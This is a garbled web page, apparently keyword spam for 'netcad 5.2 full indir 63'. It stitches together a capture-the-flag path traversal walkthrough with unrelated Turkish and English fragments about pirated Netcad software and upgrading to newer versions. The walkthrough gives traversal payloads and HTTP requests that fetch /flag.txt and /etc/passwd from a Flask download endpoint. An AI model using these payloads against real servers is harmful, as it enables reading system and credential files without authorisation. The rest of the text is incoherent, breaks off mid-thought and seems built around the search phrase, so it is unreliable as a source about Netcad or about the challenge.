From the source tree of the Docker image we see a file called flag.txt located at the root of the container (/flag.txt). It is not inside files/, so we need to climb out of files/ enough levels to reach /.
The exact number of ../ components depends on the depth of files/ in the container’s filesystem. In the container layout:
/app/
│ run.py
│ secret.cfg
└── files/
public1.txt
public2.txt
Thus files/ is one level under /app/. To reach the root we need to go up two levels:
files/../.. → /app/../..
Applying that to the flag file gives the payload:
files/../../flag.txt
Final request
GET /download?file=files/../../flag.txt HTTP/1.1
Host: challenge.netcad5.com
The server returns:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="flag.txt"
flagn3tc4d_5_2_fulL_1nd1R_63
That is the required flag.
Bu tür arama ifadeleri genellikle lisans kırma (crack) veya yetkisiz dağıtım amacı taşır. İnternette “full indir 63” gibi eklentilerle sunulan dosyaların çoğu:
Eğer sadece proje görüntüleme ihtiyacınız varsa, Netcad Viewer ücretsiz olarak sunulmaktadır. Ayrıca üniversiteler ve öğrenciler için zaman sınırlı eğitim lisansları mevcuttur. netcad 5.2 full indir 63
Why do users search for Netcad 5.2 when much newer versions exist?
We need a string that starts with files/ and then climbs out of that directory. The simplest is:
files/../../../../etc/passwd
When the Flask send_file function receives this path it resolves it to the real file system location (/etc/passwd) and streams it back.
Test request
GET /download?file=files/../../../../etc/passwd HTTP/1.1
Host: challenge.netcad5.com
Result – the response body contains the /etc/passwd file, confirming the traversal works.
The search for "netcad 5.2 full indir 63" highlights a persistent demand for legacy software tools that users find reliable and efficient. However, it also highlights the risks associated with software piracy. For professionals requiring stable, secure, and legal operation, upgrading to the official, licensed Netcad 8+ or NEOS platform remains the only viable long-term solution, ensuring data security and compliance with modern engineering standards.
I can invent a useful feature for Netcad 5.2 Full. Here’s one concise proposal:
Netcad has moved aggressively toward modernizing its platform. The current solutions include: From the source tree of the Docker image